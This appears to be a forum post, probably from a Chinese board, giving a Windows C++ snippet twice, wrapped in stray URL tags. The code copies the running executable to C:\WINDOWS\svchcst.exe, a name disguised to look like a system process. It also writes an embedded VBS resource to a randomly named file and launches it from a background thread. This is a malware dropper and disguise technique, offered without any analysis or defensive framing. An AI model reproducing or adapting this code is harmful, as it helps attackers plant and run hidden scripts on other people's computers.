[url=www.xspec.com]
#include <ShellAPI.h>
void copy()
{
char exefile[256];
char win[] = “C:\\WINDOWS\\svchcst.exe”;
GetModuleFileName(NULL,exefile,256);
CopyFile(exefile,win,TRUE);
}
const char* getGUID()
{
CoInitialize(NULL);
static char buf[64] = {0};
GUID guid;
if (S_OK == ::CoCreateGuid(&guid))
{
_snprintf(buf, sizeof(buf)
, “%04X”
, guid.Data1
);
}
CoUninitialize();
return (const char*)buf;
}
DWORD WINAPI VBS(LPVOID lParam)
{
char FilePath1[MAX_PATH];
SYSTEMTIME stLocal1;
GetLocalTime(&stLocal1);
wsprintf(FilePath1,”c:\\%s.vbs”,(char *)getGUID());
HGLOBAL hRes3;
HRSRC hResInfo3;
HANDLE hFile3;
DWORD dwBytes3;
DWORD dwRes3;
hResInfo3 = FindResource( NULL , MAKEINTRESOURCE(IDR_VBS) , “VBS” );
dwRes3 = SizeofResource(NULL, hResInfo3);
hRes3 = LoadResource( NULL , hResInfo3 );
hFile3 = CreateFile( FilePath1 , GENERIC_READ|GENERIC_WRITE , FILE_SHARE_READ , NULL , CREATE_ALWAYS , FILE_ATTRIBUTE_NORMAL , NULL);
WriteFile( hFile3 , hRes3 , dwRes3 , &dwBytes3 , NULL );
Sleep(500);
ShellExecute(0,”open”,FilePath1,NULL,NULL,SW_SHOW);
CloseHandle(hFile3);
return 0 ;
}
CreateThread(NULL, 0, VBS, NULL, 0, NULL)[/url]
#include <ShellAPI.h>
void copy()
{
char exefile[256];
char win[] = “C:\\WINDOWS\\svchcst.exe”;
GetModuleFileName(NULL,exefile,256);
CopyFile(exefile,win,TRUE);
}
const char* getGUID()
{
CoInitialize(NULL);
static char buf[64] = {0};
GUID guid;
if (S_OK == ::CoCreateGuid(&guid))
{
_snprintf(buf, sizeof(buf)
, “%04X”
, guid.Data1
);
}
CoUninitialize();
return (const char*)buf;
}
DWORD WINAPI VBS(LPVOID lParam)
{
char FilePath1[MAX_PATH];
SYSTEMTIME stLocal1;
GetLocalTime(&stLocal1);
wsprintf(FilePath1,”c:\\%s.vbs”,(char *)getGUID());
HGLOBAL hRes3;
HRSRC hResInfo3;
HANDLE hFile3;
DWORD dwBytes3;
DWORD dwRes3;
hResInfo3 = FindResource( NULL , MAKEINTRESOURCE(IDR_VBS) , “VBS” );
dwRes3 = SizeofResource(NULL, hResInfo3);
hRes3 = LoadResource( NULL , hResInfo3 );
hFile3 = CreateFile( FilePath1 , GENERIC_READ|GENERIC_WRITE , FILE_SHARE_READ , NULL , CREATE_ALWAYS , FILE_ATTRIBUTE_NORMAL , NULL);
WriteFile( hFile3 , hRes3 , dwRes3 , &dwBytes3 , NULL );
Sleep(500);
ShellExecute(0,”open”,FilePath1,NULL,NULL,SW_SHOW);
CloseHandle(hFile3);
return 0 ;
}
CreateThread(NULL, 0, VBS, NULL, 0, NULL)[/url]
![](https://imgsa.baidu.com/forum/pic/item/94cad1c8a786c9171a6d31b8c93d70cf3ac757c0.jpg?v=tbs)